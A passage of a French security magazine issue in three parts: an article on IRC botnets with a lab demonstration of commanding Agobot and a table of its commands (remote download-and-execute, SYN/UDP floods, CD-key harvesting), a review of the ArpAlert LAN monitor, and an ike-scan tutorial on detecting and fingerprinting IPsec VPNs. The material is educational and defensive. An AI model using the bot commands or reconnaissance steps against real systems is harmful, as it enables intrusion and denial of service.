L'activité du pirate peut être divisée en quatre étapes distinctes : • • • •

création, configuration, infection, contrôle.

L'étape de création dépend dans une large mesure des compétences du pirate en question ainsi que de ses besoins. Un pirate peut, en effet, décider d'écrire son propre code de robot, ou se contenter d'étendre ou de personnaliser un robot existant. Un large choix de robots prêts à l'emploi est disponible et hautement configurable. L'utilisation d'une interface graphique facilite

40

hakin9 Nº 6/2005

Figure 4. Serveur maître et connexion au canal

Figure 5. Authentification du nom et du mot de passe de l'utilisateur grandement leur application. Ce qui explique qu'il s'agit de l'option la plus utilisée par les script kiddies (pirates adolescents). L'étape de configuration consiste à fournir au serveur et au canal IRC des informations. Une fois installé sur la machine infectée, le robot va

se connecter à l'hôte sélectionné. Le pirate commence par entrer les données nécessaires visant à restreindre l'accès aux robots, puis sécurise le canal et finit par fournir une liste d'utilisateurs autorisés (capables par la suite de contrôler les robots). Lors de cette étape, le robot peut être

Netstat

Netstat est un outil extrêmement flexible disponible pour Windows et les systèmes *NIX. Sa principale fonction consiste à contrôler les ports actifs. Netstat examine les ports d'écoute TCP et UDP et fournit des informations détaillées sur l'activité du réseau. Sur les systèmes *NIX, Netstat affiche l'ensemble des flux de données ouverts. Il a également recours à des filtres de sélection de données de sortie. Les statuts de connexions possibles sont les suivants : • • • • • • • • •

ESTABLISHED – les deux hôtes sont connectés, CLOSING – l'hôte distant ferme la connexion, LISTENING – l'hôte écoute les connexions entrantes, SYN_RCVD – un hôte distant a demandé à débuter une connexion, SYN_SENT – l'hôte débute une nouvelle connexion, LAST_ACK – l'hôte doit envoyer un rapport avant de fermer la connexion, TIMED_WAIT, CLOSE_WAIT – un hôte distant met un terme à la connexion, FIN_WAIT 1 – le client met un terme à la connexion, FIN_WAIT 2 – les deux hôtes ferment la connexion.

www.hakin9.org

Guerre des robots

plus personnalisé, en définissant, par exemple, la cible et la méthode d'attaque. L'étape d'infection consiste à utiliser diverses techniques afin de répandre les zombies, de manière directe et indirecte. Les techniques directes comprennent l'exploitation des vulnérabilités du système d'exploitation ou des services. Les techniques indirectes ont recours à d'autres logiciels pour exécuter le sale travail. Parmi ces techniques, citons l'utilisation de fichiers HTML malformés visant à exploiter les vulnérabilités d'Explorer, ou encore l'utilisation d'autres programmes malveillants distribués via les réseaux poste à poste ou l'échange de fichiers DCC (Direct Client-to-Client) sous le protocole IRC. Les attaques directes sont en règle générale automatisées grâce à l'utilisation de vers. La tâche de ces vers consiste à chercher des sous-réseaux dans les systèmes vulnérables puis d'y injecter le code du robot. Chaque système infecté poursuit par la suite le processus d'infection, permettant ainsi au pirate de gagner un temps précieux pour chercher de nouvelles victimes. Les mécanismes utilisés pour distribuer les robots constituent l'une des principales raisons de ce qu'on appelle l'Internet background noise ou en bruit de fond. Les principaux ports impliqués dans le processus sont ceux utilisés par Windows, plus particulièrement par Windows 2000 et XP SP1 (voir le Tableau 1). Il semble que ce soient les cibles privilégiées des pirates, dans la mesure où il est relativement facile de trouver des ordinateurs Windows non protégés ou d'autres sans pare-feu installé. C'est souvent le cas avec les utilisateurs de PC familiaux et les petites sociétés, qui ignorent les problèmes de sécurité et disposent d'une connexion Internet toujours activée sur large bande. L'étape de contrôle est un ensemble d'actions réalisées après installation du robot sur l'hôte cible dans un répertoire sélectionné. Afin de débuter avec Windows, ce

Figure 6. Réponse à la requête issue du premier robot de l'ordinateur maître

Figure 7. Réponse à la requête issue du second robot de l'ordinateur maître

Figure 8. Netstat à l'oeuvre sur un système infecté dernier met à jour les clés d'enregistrement, généralement comme suit HKEY _ LOCAL _ MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\ Run\ .

Une fois l'installation réussie, le robot commence par se connecter au serveur IRC puis rejoint le canal de contrôle au moyen d'un mot de passe. Le pseudo sur IRC est généralement généré de manière aléatoire. Le robot est alors prêt à accepter les commandes d'une application maîtresse. Le pirate doit également utiliser un mot de passe afin de se connecter au réseau d'ordinateurs zombies. Cette manœuvre est, en effet, nécessaire, de manière à ce que personne d'autre ne puisse

www.hakin9.org

utiliser le réseau d'ordinateurs zombies fourni. Le protocole IRC fournit non seulement les moyens de contrôler des centaines de robots, mais permet également au pirate d'utiliser diverses techniques pour dissimuler sa réelle identité. C'est la raison pour laquelle il est si difficile de répondre à ces attaques. Heureusement, les réseaux d'ordinateurs zombies, par leur nature, génèrent un trafic suspect, facilement détectable grâce aux modèles connus. Ceci permet aux administrateurs IRC de détecter et d'intervenir en cas d'attaques, de mettre un terme au réseau d'ordinateurs zombies et de rapporter l'abus.

hakin9 Nº 6/2005

41

Pratique

Tableau 2. Certaines commandes d'Agobot Commandes

Description

command.list

Liste de toutes les commandes disponibles

bot.dns

Résout un nom d'hôte/d'IP

bot.execute

Exécute un fichier .exe sur un ordinateur distant

bot.open

Ouvre un fichier sur un ordinateur distant

bot.command

Exécute une commande avec system()

irc.server

Se connecte à un serveur IRC

irc.join

Entre dans un canal spécifique

irc.privmsg

Envoie un message privé à l'utilisateur

http.execute

Télécharge et exécute un fichier via HTTP

ftp.execute

Télécharge et exécute un fichier via FTP

ddos.udpflood

Démarre un flux de données UDP

ddos.synflood

Démarre une inondation de requêtes Syn

ddos.phaticmp

Démarre une inondation de PHATicmp

redirect.http

Démarre un serveur mandataire HTTP

redirect.socks

Démarre un serveur mandataire SOCKS4

pctrl.list

Liste les processus

pctrl.kill

Tue les processus

Les pirates sont ainsi obligés de redéfinir leur technique de C&C (Contrôle et Commande), ce qui mène à un durcissement des réseaux d'ordinateurs zombies. Les robots sont donc configurés de manière à pouvoir se connecter à différents serveurs en utilisant un nom d'hôte transformé de manière dynamique. Ainsi, le pirate peut facilement déplacer son robot vers de nouveaux serveurs, les maintenant sous contrôle même après détection. Les services dynamiques DNS tels que dyndns.com ou no-ip.com sont utilisés pour ce genre de tâche (voir la partie intitulée Services DSN Dynamiques). Afin de dissimuler l'activité, le canal IRC est configuré de manière à limiter l'accès et à cacher l'activité. Les modes IRC classiques utilisés par les canaux de réseaux d'ordinateurs zombies sont les suivants : +k (un mot de passe est requis pour entrer dans le canal), +s (le canal n'apparaît pas dans la liste des canaux public), +u (seuls les opérateurs sont visibles sur la liste des utilisateurs), +m (seuls les utilisateurs dotés du statut vocal +v peuvent envoyer des messages vers le canal). Une grande majo-

42

hakin9 Nº 6/2005

rité de pirates chevronnés ayant recours aux serveurs personnalisés IRC cryptent l'ensemble des communications au moyen du canal. Ils ont également tendance à utiliser des variantes personnalisées de logiciels de serveurs IRC, configurées de manière à espionner sur les ports non standards en utilisant une version modifiée du protocole, de sorte qu'un client normal IRC ne puisse pas se connecter au réseau.

Les techniques de Contrôle et de Commande en pratique : Agobot Examinez maintenant un exemple de scénario d'attaque, qui vous permettra d'analyser clairement le processus de commande et de contrôle d'un réseau d'ordinateurs zombies. On a utilisé pour cet exemple deux ordinateurs. Le premier exécute un serveur IRC basé sur UnrealIRCd 3.2.3 ainsi que deux machines virtuelles Windows XP SP1 basées sur VMware Workstation (deux cibles potentielles d'infection). Le second a été utilisé pour contrôler le réseau d'ordinateurs zombies via Irssi, client texte IRC.

www.hakin9.org

Afin de compliquer le processus d'ingénierie inverse, Agobot installe des sous-programmes capables de défendre le logiciel contre les débogueurs tels que SoftICE ou OllyDbg, et contre l'utilisation de machines virtuelles telles que VMware et Virtual PC. Il a donc été nécessaire de pirater le code source du robot afin de contourner la protection VMware, avant de pouvoir installer le robot sur nos systèmes virtuels.

Configuration

La première étape consiste à configurer le robot au moyen de son interface graphique simple (voir la Figure 3). Les informations entrées comprennent le nom et le port du serveur IRC, le nom du canal, une liste des utilisateurs qui géreront les mots de passe, et enfin, le nom du fichier et le répertoire dans lequel le robot sera installé. On a également activé certains plugins comme un support pour l'aspiration de mots de passe et un moteur polymorphe. Ainsi un fichier config.h, essentiel pour la compilation du robot, est obtenu.

Commande et Contrôle

Une fois le robot compilé, les deux systèmes de test ont été infectés manuellement. L'ordinateur maître s'est connecté au serveur IRC puis a rejoint le canal afin de pouvoir prendre la contrôle et les commandes du robot (voir la Figure 4) : /connect 192.168.10.3 /join #arrakis

Afin d'obtenir le contrôle des robots, il est nécessaire de procéder à une authentification. Ce que pouvait être réalisé en envoyant tout simplement une commande vers le canal (voir la Figure 5) : .login FaDe dune

Puis, le premier robot a été demandé une liste de tous les processus en cours d'exécution sur l'ordinateur infecté (voir la Figure 6) : /msg FakeBot-wszyzc .pctrl.list

Guerre des robots

Ensuite le second robot a été demandé des informations sur le système ainsi que les cdkeys des applications installées (voir la Figure 7) : /msg FakeBot2-emcdnj .bot.sysinfo /msg FakeBot2-emcdnj .harvest.cdkeys

Des fonctions simples ont été utilisées dans cet exemple, mais Agobot propose un ensemble fourni de commandes et de fonctions. Certaines d'entre elles sont exposées dans le Tableau 2.

Comment protéger vos ordinateurs

Vous allez maintenant aborder les méthodes de protection contre ce type d'infections du point de vue à la fois de l'utilisateur et de l'administrateur.

Stratégies de défense destinées aux utilisateurs de PC

Comme il a été déjà mentionné plus haut, les infections par robots sont principalement réalisées au moyen de vers, qui explorent le Net à la recherche de machines vulnérables. La première étape consiste donc à maintenir votre système à jour, en téléchargeant les programmes

de correction et les mises à jour de votre système pour le système d'exploitation et également pour l'ensemble des applications ayant accès à Internet. Les mises à jour automatiques sont assez judicieuses. Il est également important de demeurer prudent au moment d'ouvrir des pièces jointes douteuses dans vos e-mails. Il est également pertinent de désactiver les supports pour les langages de script tels que ActiveX et JavaScript (ou au moins contrôler leur utilisation). Enfin, il est essentiel d'utiliser un programme antivirus/anti cheval de Troie et de le maintenir à jour. Toutefois, de nombreux robots sont configurés de manière à contourner les contrôles antivirus. Il n'est donc pas inutile d'installer un pare feu personnel afin de sécuriser davantage votre système, plus particulièrement si votre ordinateur tourne 24 heures sur 24. Les principaux signes qui trahissent la présence d'un robot dans votre système sont un ralentissement de connexion et du système. L'outil netstat (voir la Figure 8 ainsi que la partie intitulée Netstat) propose un contrôle facile et efficace des connexions douteuses) : C:/>netstat -an

À propos des auteurs

Massimiliano Romano s'intéresse principalement à l'informatique et les réseaux. Il travaille en tant qu'indépendant pour l'une des plus importes sociétés de téléphonie mobile italienne. Il consacre une grande partie de son temps libre à Ham Radio, en étudiant et décodant les signaux radio numériques. Simone Rosignoli est étudiant à l'Université La Sapienza de Rome. Il achève actuellement ses études en Technologies Informatiques (Systèmes et Sécurité). Ses centres d'intérêt vont de la programmation à la sécurité informatique. Ennio Giannini travaille en tant qu'analyste système. Il consacre son temps libre à tester des environnements GNU/Linux. C'est un partisan convaincu de la communauté Open Source.

Sur Internet • • • •

http://www.honeynet.org/papers/bots/ – utilisation des honeybots ou pots de miel afin d'étudier l'activité des robot, http://security.isu.edu/ppt/pdfppt/Core02.pdf – outils et stratégies pour se protéger des attaques, http://www.securitydocs.com/library/3318 – introduction à Netstat, http://www.irchelp.org/irchelp/faq.html – introduction au protocole IRC.

www.hakin9.org

Contrôlez les connexions ESTABLISHED sur les ports TCP dans une portée entre 6000 et 7000 (généralement 6667). Si vous réalisez que votre ordinateur est fragilisé, déconnectez-vous d'Internet, nettoyez votre système, redémarrez le puis recontrôlez le une nouvelle fois.

Stratégies de défense destinées aux administrateurs

Les administrateurs sont toujours censés se tenir informés des toutes dernières vulnérabilités, et lire quotidiennement les ressources disponibles relatives à la sécurité Internet. Souscrire à une liste de diffusion comme Bugtraq est assez judicieux. Les administrateurs devraient également essayer de sensibiliser leurs utilisateurs et définir des politiques de sécurité et de confidentialité. Il est également nécessaire d'étudier les journaux générés par les Systèmes de Détection d'Intrusion et les systèmes de pares feux, les serveurs de messagerie, les serveurs DHCP et mandataires. Ces actions peuvent permettre de repérer tout trafic anormal, susceptible de trahir la présence d'un robot dans le réseau. Une fois un tel trafic remarqué, un aspirateur peut se révéler utile afin d'identifier le sous-réseau et l'ordinateur à l'origine du trafic anormal. Tout ceci peut vous paraître évident, mais ce sont des éléments souvent négligés. Il est également possible d'avoir recours à des techniques plus sophistiquées afin d'étudier et de détecter d'éventuelles menaces. Une de ces techniques est le recours aux honeybots ou pots de miel. Les honeybots sont des machines conçues pour être facilement visées par les attaques. Leur rôle consiste à devenir infectées afin de permettre à l'administrateur de remonter à l'origine du problème et d'étudier la méthode d'attaque utilisée. Pour finir, et malgré tous les outils à notre disposition, la défense la plus efficace contre les attaques par réseaux d'ordinateurs zombies repose sur le comportement et la sensibilisation de l'utilisateur lui-même. l

hakin9 Nº 6/2005

43

ArpAlert 0.4.10

Pratique

44

Système : Linux (portage rapidement prévu sous *NIX et BSD) Licence : GNU GPL But : détection de machines non autorisées à se connecter sur un réseau Page d'accueil : http://perso.numericable.fr/~fourthie/arpalert.php ArpAlert est un démon dédié à la surveillance de LAN. Son action est basé sur l'écoute du protocole ARP couplé à une liste d'adresses MAC valides. Il permet donc une surveillance permanente du réseau interne. Il s'est vu intégré dans des systèmes de sécurité pour entreprises tel que le LANDefender (http://www.exceliance.fr/ldapercu.htm).

Démarrage rapide : Vous êtes administrateur d'un LAN relativement vaste mais aux accès particulièrement incontrôlables. Sachant que les contaminations virales et les vols de données viennent le plus souvent de machines étrangères au réseau qui se connectent sans autorisation, il faut impérativement détecter ces connexions illicites. C'est à ce niveau là qu'intervient ArpAlert. Commencez par télécharger la dernière révision du programme sur le site officiel. Vous devrez passer par les sources, les différentes formes de packages ne sont pas encore gérées. Un traditionnel ./configure && make && make install avec les droits root installera l'application sur votre machine. Vous pouvez préciser avec ./configure l'emplacement du répertoire de base, par défaut celui ci sera /usr/local/arpalert. Un fichier de configuration par défaut sera placé dans /usr/local/arpalert/etc/arpalert/arpalert.conf. Afin de rendre celui-ci fonctionnel vous allez supprimer quelques options avancées. L'option désignée par log unauth request et alert on unauth request dans le fichier de configuration doit être désactivée en changeant les valeurs true par false puis commentez la ligne contenant le paramètre auth request file . Vous devez également modifier les paramètres commençants par alert on sur false. Toujours sous le compte root, démarrez maintenant le programme par un simple /usr/local/arpalert/sbin/ arpalert -d . le -d permettra le lancement en mode démon. Pour automatiser le mode démon au démarrage, éditez le fichier de configuration et remplacez la ligne

daemon = false

Figure 1. Le format des logs

Figure 2. Le fichier de configuration

hakin9 Nº 6/2005

par

daemon = true.

Vous pouvez faire un (ou /var/log/syslog selon les distributions) et vous verrez toute les machines de votre réseau détectées. Ces nouvelles machines seront stockées dans le fichier /usr/local/arpalert/var/lib/arpalert/ arpalert.leases quelques cat sur ce fichier vous laisseront voir la liste des machines détectées. Lorsque toutes les machines du réseau local ont été découvertes, recopiez le contenu de ce fichier dans le fichier maclist.allow (cat /usr/local/arpalert/var/lib/arpalert/ tail -f /var/log/messages

arpalert.leases maclist.allow),

>

/usr/local/arpalert/etc/arpalert/

n'hésitez pas à compléter ce fichier à la main. Sans avoir touché au fichier de configuration, redémarrez le démon, l'application fonctionne. À partir de maintenant toutes les nouvelles machines détectées sont des intrus potentiels et un message sera émis dans les logs. Autres qualités : L'alerte peut également être donnée à travers l'exécution d'un script. Ce mode de fonctionnement permet d'être alerté des tentatives d'intrusions par mail ou par toute autre méthode imaginable. Ce script est renseigné par le paramètre action on detect et activé avec chaque paramètre alert on... positionné sur true. Défauts : Bien qu'ArpAlert soit basé sur un principe très simple, sa configuration doit être spécifique et adaptée à chaque réseau. Ses mécanismes anti-flood peuvent faire perdre de la pertinence à la détection s'ils sont mal paramétrés. Les réglages de bases conviennent à un réseau comprenant entre 20 et 200 machines. Thierry Fournier

www.hakin9.org

Fiche technique

Détection et relevé d'empreintes des VPN IPsec Roy Hills

Degré de difficulté

De nombreuses personnes croient que les systèmes VPN IPsec sont invisibles et, par nature, sécurisés. Pourtant, en réalité, il est facile de détecter et de récupérer l'empreinte de la plupart des implémentations. Une fois cette étape terminée, effectuer une attaque réussie est une question de temps.

L

a sécurité de VPN est souvent oubliée durant les tests d'intrusion. Il existe plusieurs raisons pour l'expliquer : les VPN sont souvent considérés comme étant par nature sécurisés car ils se servent d'une cryptographie puissante ; les VPN IPsec ne sont, en général, pas détectés par des scans de ports et de nombreuses personnes se sentent perdues dans la complexité du protocole. Grâce à de bons outils et de bonnes techniques, il est toutefois relativement simple de trouver et de récupérer des empreintes de ces systèmes. Vous apprenez comment détecter les VPN IPsec (reportez vous à l'encadré Introduction à IPsec), déterminer l'équip ement utilisé et trouver des informations utiles. Vous verrez que la complexité du protocole IPsec rend en fait la récupération des empreintes de VPN plus facile car chaque fabricant interprète les standards de façon différente.

Détection des VPN IPsec

Comme il a été déjà dit, les serveurs IPsec VPN ne sont pas en général détectés par les scans de ports. C'est parce qu'ils n'écoutent sur aucun port TCP et par conséquent aucun scans de ports TCP ne peut les trouver. De plus, ils n'envoient,

46

hakin9 Nº 6/2005

en général, pas de messages ICMP de type destination inaccessible (host unreachable) ; donc, les scans de ports UDP ne détectent pas de IKE sur le port 500 (un port standard pour ce type de connexions) et un scan raw IP ne détectera ni d'ESP ni d'AH avec les protocoles IP 50 et 51. En revanche, les procédures RFC IPsec spécifient que les paquets incorrectement formatés devront être ignorés ; en envoyant en UDP des informations parasites aléatoires au port 500 ou des protocoles IP 50 et 51 vous n'obtiendrez pas de réponse non plus. Une manière efficace pour détecter les systèmes VPN IPsec consiste à envoyer un

Cet article explique... • •

comment détecter les systèmes VPN IPsec, comment utiliser les techniques de récupération d'empreintes (en anglais fingerprinting) pour déterminer le type du système VPN.

Ce qu'il faut savoir... • •

www.hakin9.org

les concepts de réseau TCP/IP, les bases des IPsec VPN.

Détection des VPN

Introduction à IPsec

IPsec n'est pas un protocole en tant que tel. Il s'agit plutôt d'un framework comprenant un certain nombre de protocoles indépendants qui travaillent ensemble pour fournir des fonctionnalités VPN. Il existe trois protocoles principaux dans le framework : • • •

IKE (Internet Key Exchange) : gère l'authentification et l'échange de clés entre les systèmes de peer-to-peer, AH (Authentication Header) : fournit l'authentification et l'intégrité de données, ESP (Encapsulating Security Payload) : fournit la confidentialité (chiffrement) et peut en plus fournir l'authentification et l'intégrité des données.

La plupart des VPN IPsec se servent du protocole IKE pour authentifier les pairs, négocier des algorithmes de chiffrement et échanger les clés. Ils se servent également de l'ESP pour crypter les données qui traversent VPN (AH est rarement utilisé). Dans cet article, vous vous concentrez uniquement sur le protocole IKE (les autres ne seront pas analysés). IKE est le protocole le plus complexe dans le framework IPsec. Comme vous allez le constater, cette complexité vous permettra de récupérer des empreintes des systèmes VPN. IKE se déroule en deux phases : Phase 1, chargée d'authentifier et d'établir l'association de sécurité (SA) pour la deuxième phase et Phase 2, chargée de négocier la SA pour les données. La phase 1 peut opérer dans l'un de ces deux modes : Mode Principal (Main Mode) et Mode Agressif (Aggressive Mode). Par opposition, la phase 2 ne comprend qu'un seul mode, appelé Mode Rapide – Quick Mode (en ce qui concerne cet article, vous allez vous concentrer sur la phase 1). La Figure 1 présente les relations entre les différents protocoles dans le framework IPsec.

paquet IKE correctement formaté à tous les systèmes que vous souhaitez tester et à afficher toutes les réponses IKE reçues. Cette méthode est capable de détecter les VPN IPsec qui se servent de IKE pour échanger des clés et ne restreignent pas les adresses IP source auxquelles ils répondent. En pratique, la quasi totalité d'implémentations IPsec modernes se servent de IKE ; une alternative consiste à échanger les clés manuellement mais c'est très rare.

Figure 1. Vue d'ensemble du framework du protocole IPsec

Le programme ike-scan vous permet d'envoyer un paquet IKE aux systèmes cibles spécifiés et d'afficher des réponses. Dans cet article, vous allez vous servir principalement de cet outil.

Utiliser le ike-scan avec les paramètres par défaut

Dans un premier temps, vous démarrez ike-scan vers les hôtes cibles en laissant les paramètres par défaut. L'outil ike-scan se servira de ces paramètres pour envoyer un paquet IKE en Mode Principal pour chaque cible. Ce paquet comprend une en-tête ISAKMP, accompagnée de la charge de SA. La charge SA contient une seule proposition (en anglais proposal) qui à son tour contient huit transformations (en anglais transform). La Figure 2 présente la structure de ce paquet IKE et le Tableau 1 montre les attributs de chacun de huit transformations. Le Listing 1 présente un exemple de la sortie de ike-scan pour le démarrage initial de la détection ; dans cet exemple, le fichier contenant les adresses IP cibles, que vous voulez scanner au moyen de l'option –-file, est spécifié. Vous pouvez constater

www.hakin9.org

Figure 2. Le paquet IKE en Mode Principal et le bloc transform par défaut que certains systèmes répondent par un Main Mode Handshake (prise de contact en Mode Principal), ce qui signifie qu'ils veulent procéder aux négociations IKE avec vous et qu'au moins une de vos transformations est acceptable. Vous pouvez également constater que d'autres systèmes répondent par un Notify message (message de notification). Cela signifie que soit le système ne souhaite pas négocier avec vous (par exemple, il n'accepte les requêtes que de certaines adresses IP sources) soit aucune de vos transformations n'est acceptable. Puisque vous voulez simplement détecter les systèmes VPN, le type de message envoyé par les systèmes en réponse ne vous intéresse pas ; peu importe qu'il s'agisse d'un message de notification ou d'un message de prise de contact, dans les deux cas, les systèmes sont détectés. En ce qui concerne les systèmes qui ont répondu par un message de handshake, vous pouvez voir les détails de la transformation acceptée dans la charge SA, par exemple Enc=3DES Hash=MD5

Group=2:modp1024

Auth=PSK

LifeType=Seconds LifeDuration=28800,

ce qui donne Triple-DES pour le chiffrement, MD5 pour l'algorithme de hachage HMAC, groupe Diffie-Hellman 2 (qui est un groupe MODP de 1024 octets), l'authentification par la clé pré-partagée (en anglais Pre-Shared Key, PSK) et une durée de la SA de 28800 secondes. Certains systèmes incluent également un payload Vendor

hakin9 Nº 6/2005

47

Fiche technique

Tableau 1. Le bloc transform par défaut utilisé par le ike-scan en Mode Principal (Main Mode) No

AlgoAlgorithme rithme de de hachage chiffrement

Méthode d'authentification

Groupe Diffie-Hellman

Durée (en secondes)

1

TripleDES

SHA1

Clé pré-partagée

2 (1024 bits)

28800

2

TripleDES

MD5

Clé pré-partagée

2 (1024 bits)

28800

3

DES

SHA1

Clé pré-partagée

2 (1024 bits)

28800

4

DES

MD5

Clé pré-partagée

2 (1024 bits)

28800

5

TripleDES

SHA1

Clé pré-partagée

1 (768 bits)

28800

6

TripleDES

MD5

Clé pré-partagée

1 (768 bits)

28800

7

DES

SHA1

Clé pré-partagée

1 (768 bits)

28800

8

DES

MD5

Clé pré-partagée

1 (768 bits)

28800

Tableau 2. Valeurs d'attribut de transformations pour l'algorithme de chiffrement Valeur

Algorithme de chiffrement

Commentaires

1

DES

Courant

2

IDEA

Très rare

3

Blowfish

Rare

4

RC5

Très rare

5

Triple DES

Courant

6

CAST

Rare

7

AES

Courant sur les systèmes modernes, trois longueurs de clé : 128, 192 et 256.

8

Camellia

Très rare

Listing 1. Sortie initiale de la détection $ ike-scan --file=target-ip-addresses.txt Starting ike-scan 1.7 with 256 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.5 Notify message 14 (NO-PROPOSAL-CHOSEN) 10.0.0.6 Main Mode Handshake returned SA=(Enc=3DES Hash=MD5 § Group=2:modp1024 Auth=PSK LifeType=Seconds § LifeDuration=28800) § VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 § (IKE Fragmentation) 10.0.0.1 Main Mode Handshake returned SA=(Enc=3DES Hash=SHA1 Auth=PSK § Group=2:modp1024 LifeType=Seconds LifeDuration(4)=0x00007080) Ending ike-scan 1.7: 256 hosts scanned in 19.22 seconds (13.32 hosts/sec). § 17 returned handshake; 32 returned notify

48

hakin9 Nº 6/2005

www.hakin9.org

ID (VID) dans leurs réponses. Cela sera décrit plus tard lors de l'analyse de la récupération d'empreintes des systèmes. Pour les systèmes répondant par un message de notification, vous recevrez le numéro du message , et le nom qui correspond à ce numéro, par exemple : Notify message 14 (NOPROPOSAL-CHOSEN).

Tester des différentes transformations

Il existe aussi des systèmes VPN qui ne répondent pas par un message de notification lorsque aucune transformation n'est acceptée. Certains d'entre eux ignorent tout simplement les paquets IKE contenant des attributs non valides. Il faut trouver une transformation acceptable afin d'obtenir les réponses de ce type de systèmes. Chaque transformation comporte un nombre variable d'attributs mais en pratique, vous n'en avez besoin que quatre à cette étape : l'algorithme de chiffrement (et la longueur de la clé pour les chiffres de longueur variable), l'algorithme de hachage, la méthode d'authentification et le groupe DiffieHellman. Vous pouvez laisser la durée de la SA en secondes par défaut, à savoir 28800, car ce chiffre est accepté pratiquement à chaque fois et il n'est donc plus nécessaire d'ajouter d'autres attributs. La valeur pour chacun des quatre attributs est un nombre non signé de 16 bits et par conséquent, il y a 65536 valeurs possibles. Si toutes ces valeurs étaient possibles, vous disposeriez alors de 655364 (environ 18 millions de milliards) de combinaisons différentes et il serait alors impossible de toutes les tester. Toutefois, en pratique, chaque attribut se sert seulement de quelques valeurs possibles et certaines de ces valeurs sont plus répandues que les autres, il est donc possible de détecter la plupart des systèmes au moyen d'un nombre raisonnable des transformations. Les Tableaux de 2 à 5 énumèrent les valeurs d'attributs de transformations, définies dans les différentes procédures RFC IPsec et IETF. Si vous regardez les valeurs courantes dans les tables d'attributs de transformations, vous consta-

Détection des VPN

terez qu'il y a cinq algorithmes de chiffrement (AES compte pour trois car il a trois longueurs différentes de clé), deux algorithmes de hachage, quatre méthodes d'authentification et trois groupes Diffie-Hellman. Tout cela vous donne un total de 120 combinaisons de ces valeurs courantes, ce qui n'est pas très élevé. Il est donc possible de toutes les essayer. Ike-scan permet de modifier la méthode d'authentification au moyen de l'option --auth dans le bloc de transform par défaut. Autrement, il est possible de spécifier une transformation courante à l'aide de l'option --trans et d'utiliser cette option plusieurs fois afin d'ajouter un nombre arbitraire des transformations à la charge de SA. Puisqu'il est possible de spécifier un nombre arbitraire de transformations au moyen de l'option --trans, vous serez probablement tentés de spécifier les cent vingt combinaisons. Cependant cela ne fonctionnera pas car de nombreuses implémentations IPsec limitent le nombre de transformations à traiter. Le nombre maximal est différent d'un fabricant à l'autre ; par exemple, les solutions Checkpoint n'acceptent pas plus de vingt transformations. Toutefois, il faut procéder à de nombreux scans, contenant chacun un nombre raisonnable de transformations (reportez vous aussi à l'encadré Autres options utiles pour détecter les VPN). Une manière de le faire consiste à créer un script chargé de générer toutes les combinaisons de transformations et à utiliser ensuite le xargs pour lancer le ike-scan autant de fois que nécessaire avec un nombre maximal de transformations spécifié. Le Listing 2 présente un exemple d'un script à utiliser afin de générer une liste de transformations avec des attributs courants. Comme le script s'appelle generatetransforms.sh , vous l'utiliserez pour lancer le ike-scan avec vingt transformations au plus : # generate-transforms.sh \ | xargs --max-lines=20 ike-scan \ --file=target-ip-addresses.txt

Tableau 3. Valeurs d'attribut de transformations pour l'algorithme de hachage Valeur

Algorithme de hachage

Commentaires

1

MD5

Courant

2

SHA1

Courant

3

Tiger

Rare

4

SHA2-256

Rare

5

SHA2-384

Rare

6

SHA2-512

Rare

Tableau 4. Valeurs d'attribut de transformations pour la méthode d'authentification Valeur

Méthode d'authentification

Commentaires

1

Clé pré-partagée

Courant

2

Signature DSS

Rare

3

Signature RSA

Courant

4

Chiffrement RSA

Rare

5

Chiffrement RSA révisé

Rare

6

Chiffrement ElGamel

Rare

7

Chiffrement ElGamel révisé

Rare

8

Signature ECDSA

Rare

64221

Mode Hybride

Courant sur les systèmes Checkpoint

65001

XAUTH

Courant sur les systèmes d'accès à distance

Tableau 5. Valeurs d'attribut de transformations pour le groupe Diffie-Hellman Valeur

Groupe Diffie-Hellman

Commentaires

1

MODP 768

Courant

2

MODP 1024

Courant

3

EC2N 155

Rare

4

EC2N 185

Rare

5

MODP 1536

Courant

6

EC2N 163

Rare

7

EC2N 163

Rare

8

EC2N 183

Rare

9

EC2N 183

Rare

10

EC2N 409

Rare

11

EC2N 409

Rare

12

EC2N 571

Rare

13

EC2N 571

Rare

14

MODP 2048

Rare

15

MODP 3072

Rare

16

MODP 4096

Rare

17

MODP 6144

Rare

18

MODP 8192

Rare

www.hakin9.org

hakin9 Nº 6/2005

49

Fiche technique

Listing 2. Script pour générer une liste de transformations avec des attributs courants #!/bin/sh # Encryption algorithms: # DES, Triple-DES, AES/128, AES/192 and AES/256 ENCLIST="1 5 7/128 7/192 7/256" # Hash algorithms: MD5 and SHA1 HASHLIST="1 2" # Authentication methods: # Pre-Shared Key, RSA Signatures, Hybrid Mode and XAUTH AUTHLIST="1 3 64221 65001" # Diffie-Hellman groups: 1, 2 and 5 GROUPLIST="1 2 5" for ENC in $ENCLIST do for HASH in $HASHLIST do for AUTH in $AUTHLIST do for GROUP in $GROUPLIST do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" done done done done

Une méthode alternative, plus rapide mais moins approfondie, consiste à utiliser le bloc de transform standard et à changer la méthode d'authentification de la clé pré-partagée (Pre-Shared Key) contre une autre option courante. Pour ce faire, vous pouvez vous servir de l'option –auth , par exemple : ike-scan --auth=3 --file=target-ip-addresses.txt utilisera le bloc de transform standard avec la méthode d'authentification pour la signature RSA. Cette méthode est étonnamment efficace et elle est recommandée si vous n'avez pas le temps de vérifier toutes les combinaisons répandues d'attributs de transformations.

50

hakin9 Nº 6/2005

Obtenir un message de handshake IKE

également déterminer le numéro de version du logiciel. Cette information peut être précieuse pour des intrus. En effet, ils peuvent s'en servir afin de chercher des failles connues, liées à ce type de VPN, ou de télécharger

La première étape consiste à essayer de récupérer un message de prise de contact IKE (en anglais handshake) de tous les systèmes que vous voulez analyser et noter les attributs de transformations acceptables. Si vous avez déjà reçu un tel message à l'étape de la détection, vous ne devez noter que les attributs de transformations à partir du payload SA. Si vous n'avez cependant reçu qu'un message de notification, vous devez essayer d'obtenir un message de prise de contact avant de passer à la prise d'empreintes.

Autres options utiles pour détecter les VPN

Les options du ike-scan suivantes pourront vous être utiles lorsque vous procédez à la détection du serveur VPN, en particulier, si vous traitez une grande liste des adresses IP cibles : •

•

Fingerprinting de VPN IPsec

Une fois que vous avez détecté quelques serveurs VPN, l'étape suivante consiste à trouver le plus d'informations possible sur leur sujet. En utilisant les techniques de prise d'empreinte mentionnées ci-dessous, vous pouvez souvent déterminer le fabricant et le modèle du serveur VPN ; vous pouvez

